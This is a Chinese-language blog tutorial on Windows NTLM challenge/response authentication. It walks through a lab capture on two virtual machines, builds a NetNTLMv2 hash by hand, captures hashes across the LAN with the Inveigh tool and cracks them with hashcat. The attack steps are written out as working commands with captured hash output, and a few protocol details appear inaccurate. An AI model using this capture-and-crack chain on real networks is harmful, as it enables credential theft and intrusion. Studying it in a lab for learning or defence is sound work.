[内网安全] Windows 网络认证 — 基于挑战响应认证的 NTLM 协议
🌟想系统化学习内网渗透?看看这个:[内网安全] 内网渗透 - 学习手册-CSDN博客
在内网中,我们经常会碰到处于工作组中的计算机,处于工作组中的计算机之间是无法建立一个可信的信托机构的(工作组没有域控那样的统一管理),只能是点对点进行传输。
举个例子,假设主机 A 想要访问主机 B 上的资源,就要向主机 B 发送一个存在于主机 B 上的账户,主机 B 接收以后会在本地进行验证,如果验证成功,才会允许主机 A 进行相应的访问。
在上面那个例子中,主机 B 认证远程主机 A 采用的就是 NTLM 协议。
0x01:网络认证 NTLM 协议简介
NTLM 协议是一种基于 挑战(Challenge)/ 响应(Response)
的认证机制,是一个仅支持 Windows 的网络认证协议。它主要分为协商、质询和验证三个步骤:
-
协商: 这一步是为了解决历史遗留问题,为了向下兼容,双方先确定一下传输协议的版本等各种信息。
-
质询: 这一步是
Challenge / Response
认证机制的关键之处,后面会详细讲解。 -
验证: 对质询的最后结果进行一个验证,验证通过后,即允许访问资源。
0x0101:NTLM — 协商部分
NTLM 的协商是为了解决不同版本协议的兼容问题。NTLM 协议分为 V1 和 V2 两个版本。两个版本最显著的区别就是 Challenge 与加密算法的不同,共同点就是加密的原料都是 NTLM Hash(后面会仔细讲解):
-
NTLM v1:该版本的 NTLM Challenge 有 8 位,主要采用 DES 加密。
-
NTLM v2: 该版本的 NTLM Challenge 有 16 位,主要采用 HMAC-MD5 加密。
0x0102:NTLM — 质询部分(认证流程)
下面笔者将从 “认证成功” 与 “认证失败” 的两个方向讲解 “基于挑战响应认证的 NTLM 协议” 的 “质询” 部分的具体实现流程。
1. NTLM — 认证失败流程
首先,Client(客户端)会向 Server(服务端)发送一个 Username,该 Username 要求是存在于 Server 上的一个用户:
当 Server 收到这个消息时,会首先在本地查询是否存在这么一个用户(admin),如果用户不存在,则直接返回认证失败:
2. NTLM — 认证成功流程
首先,Client(客户端)会向 Server(服务端)发送一个 Username,该 Username 要求是存在于 Server 上的一个用户:
当 Server 收到这个消息时,会首先在本地查询是否存在这么一个用户(Blue17),如果用户存在,Server 将会生成一个 16 位的随机字符,即 Challenge,然后用查询到的这个 User 的 NTLM Hash 对 Challenge 进行加密,生成 Challenge_Result,然后 Server 将 Challenge_Result 存储在本地,将 Challenge 传递给 Client (这里是为了怕密码泄露):
当 Client 接收到 Challenge 时,使用发送用户对应的 NTLM Hash(该值由用户密码加密得来)对 Challenge 进行加密生成 Response,并将 Response 发送给 Server:
Server 在收到 Response 后,将其与 Challenge_Result 做比较,如果相同,则验证成功,就允许 Client 访问资源,反之,认证失败,就不允许 Client 访问资源。
0x02:网络认证 NTLM 流量分析
实验环境
实验机器(Windows 7):IP 172.16.0.119
靶机(Windows Server 2008):IP 172.16.0.120,账号密码:
2008r2:Admin@123
上面两个机器都是虚拟机,走我本地的 VMnet8 网卡,我在物理机中装了 WireShark,准备抓 VMnet8 网卡中的数据:
我们来到 Windows 7 机器上,运行下面的命令,让 Windows 7 与目标靶机建立连接(别忘了开着 WireShark 进行抓包):
net use \\172.16.0.120 /u:2008r2 Admin@123 # 建立连接
# 断开指定连接 => net use \\172.16.0.120 /delete
# 查看连接状态 => net use
如下就是 NTLM 的流量,下图中框出来的部分是 “协商” 部分,可以看到,一开始 Windows7 向 Windows Server 发送的包采用的是 SMB 协议,里面包含了关键字 NTLM 和 SMB2,然后 Server 端回复的包采用 SMB2 协议,随后二者协商成功,就都采用 SMB2 协议进行交流:
然后在第 15 和第 16 个数据包,Server 端向 WIndows7 发送了一个 Challenge 字符段(和我们上面讲的流程有些出入,但不影响):
NTLM Server Challenge: 6fce7026d94bcb6a
接着,在第 17 和 第 39 个数据包,Windows 7 收到了 Challenge 并将 Challenge 与 Admin@123 的 NTLM Hash 值进行加密后生成了 Response 发送给 Server 端:
85452d9657838fb709d847c90307d8250101000000000000eead60c4138cdb01af326f2e834b5f0e0000000002000e004800410043004b0033005200580001000e00500043002d003200300030003800040014006800610063006b003300720078002e0063006e0003002400500043002d0032003000300038002e006800610063006b003300720078002e0063006e00050014006800610063006b003300720078002e0063006e0007000800eead60c4138cdb0106000400020000000800300030000000000000000000000000300000eab912200c637fb55f5a0cb3adb7d271e36f8b3f9fa9ed5b5e013424ce554ccd0a001000000000000000000000000000000000000900220063006900660073002f003100370032002e00310036002e0030002e00310032003000000000000000000000000000
中间人攻击:我截取到目标的 Challenge 与 NTLM Response 能否爆破出密码?可以!!!
那么接下来服务端拿到了 Response 与自己的 Challenge_Result 做一个对比,如果一样,那么就允许 Windows 7 建立连接,不一样就不允许,从下面的数据包结果来看,连接是建立成功了:
0x03:中间人攻击 — NTLM 破解流程
这里我们来尝试根据我们前面抓到的 NTLM 数据包,来爆破出 Windows Server 2008 上的密码。
0x0301:手动构造 NTLMv2 数据
从前面抓包可以发现,其 Challenge 为十六位,证明采用的是 NTLM v2 协议。要想爆破该协议,我们需要先手动构造一个 NTLM v2 的数据包,NTLM v2 格式如下:
username::domain:challenge:HMAC-MD5:blob
# username => 对应数据包中的 User name
# domain => 对应数据包中的 Domain name,如果为 NULL,则留空
# challenge => 对应数据包中的 NTLM Server Challenge
# HMAC-MD5 => 对应数据包中的 NTProofStr
# blob => 数据包中 NTLM Response 去掉 HMAC-MD5 的值
比如从上面那个数据包中我们可以提取出如下有效值:
username = 2008r2
domain = WIN-UD9I1PU03ID
NTLM Response = 85452d9657838fb709d847c90307d8250101000000000000eead60c4138cdb01af326f2e834b5f0e0000000002000e004800410043004b0033005200580001000e00500043002d003200300030003800040014006800610063006b003300720078002e0063006e0003002400500043002d0032003000300038002e006800610063006b003300720078002e0063006e00050014006800610063006b003300720078002e0063006e0007000800eead60c4138cdb0106000400020000000800300030000000000000000000000000300000eab912200c637fb55f5a0cb3adb7d271e36f8b3f9fa9ed5b5e013424ce554ccd0a001000000000000000000000000000000000000900220063006900660073002f003100370032002e00310036002e0030002e00310032003000000000000000000000000000
在之前的流量分析中我们还拿到了 Challenge 值如下:
challenge = 6fce7026d94bcb6a
至于 HMAC-MD5 则是在 NTLM Response 下:
HMAC-MD5 = 85452d9657838fb709d847c90307d825
然后 blob 字段就是 NTLM Response 去掉开头的 HMAC-MD5 值,结果如下:
blob = 0101000000000000eead60c4138cdb01af326f2e834b5f0e0000000002000e004800410043004b0033005200580001000e00500043002d003200300030003800040014006800610063006b003300720078002e0063006e0003002400500043002d0032003000300038002e006800610063006b003300720078002e0063006e00050014006800610063006b003300720078002e0063006e0007000800eead60c4138cdb0106000400020000000800300030000000000000000000000000300000eab912200c637fb55f5a0cb3adb7d271e36f8b3f9fa9ed5b5e013424ce554ccd0a001000000000000000000000000000000000000900220063006900660073002f003100370032002e00310036002e0030002e00310032003000000000000000000000000000
最终我们得到的 NTLM v2 数据包如下,拿到这个数据包就可以进行 NTLM 密码破解了:
2008r2::WIN-UD9I1PU03ID:6fce7026d94bcb6a:85452d9657838fb709d847c90307d825:0101000000000000eead60c4138cdb01af326f2e834b5f0e0000000002000e004800410043004b0033005200580001000e00500043002d003200300030003800040014006800610063006b003300720078002e0063006e0003002400500043002d0032003000300038002e006800610063006b003300720078002e0063006e00050014006800610063006b003300720078002e0063006e0007000800eead60c4138cdb0106000400020000000800300030000000000000000000000000300000eab912200c637fb55f5a0cb3adb7d271e36f8b3f9fa9ed5b5e013424ce554ccd0a001000000000000000000000000000000000000900220063006900660073002f003100370032002e00310036002e0030002e00310032003000000000000000000000000000
上面这种一步步手动构造 NTLM v2 数据包的方式着实累人,好在已经有大师傅给你写好内网 NTLM 劫持脚本了,进了内网直接跑就行(需要最高管理员权限),只要同网段有人尝试用 NTLM 建立网络认证,就会被工具直接捕获 NTLM v2 数据包。
0x0302:内网自动劫持 NTLM 信息
Inveigh 工具获取:Inveigh.zip
除了上面那种手动的方式,我们还有一个更加优雅的方式来劫持 NTLM 信息。将上面那个脚本上传到靶机解压,然后输入下面的命令,导入并运行该脚本:
Import-Module .\Inveigh.psd1
# 开启监听(适合单网卡),此时如果用户一使用 NTLM 进行远程连接,就会被捕获
Invoke-Inveigh -consoleoutput Y
如下,此时局域网内只要有用户尝试使用 NTLM 建立网络认证,那么它的 NTLM 包就会被自动捕获:
2008r2::WIN-UD9I1PU03ID:C3A4DA85023522B1:80B928C5A267144BCD8B92BCE30CF681:010100000000000071106D873D8CDB01CF1E39E1324BD42F0000000002000E004800410043004B0033005200580001000E00500043002D003200300030003800040014006800610063006B003300720078002E0063006E0003002400500043002D0032003000300038002E006800610063006B003300720078002E0063006E00050014006800610063006B003300720078002E0063006E000700080071106D873D8CDB0106000400020000000800300030000000000000000000000000300000EAB912200C637FB55F5A0CB3ADB7D271E36F8B3F9FA9ED5B5E013424CE554CCD0A001000000000000000000000000000000000000900220063006900660073002F003100370032002E00310036002E0030002E00310032003000000000000000000000000000
0x0303:使用 Hashcat 破解 NTLM 密码
HashCat 工具获取:Hashcat.zip
拿到了上面的 NTLM v2 数据包,我们就可以使用 Hashcat (Kali 内置)进行暴力破解了,使用下面的命令即可加载字典进行 NTLM v2 数据包的暴力破解:
##### hashcat 暴力破解 NTLM 命令格式
hashcat -m 5600 <NTLM 加密内容> dic.txt --force
# -m 5600 => 指定暴力破解的类型为 NTLM
# dic.txt => 密码字典
0x04:参考资料
Windows下的密码hash——NTLM hash和Net-NTLM hash介绍 - husterlong - 博客园0x00 前言 在Windows系统中,比较常见是从系统导出来的NTLM hash,通过Hashcat能够破解出明文密码。 Hashcat支持超过200种高度优化的hash算法,其中和NTLM hash相关的有4个,分别为NetNTLMv1、NetNTLMv1+ESS、NetNTLMv2和NTLM。
https://www.cnblogs.com/husterlong/p/14271976.html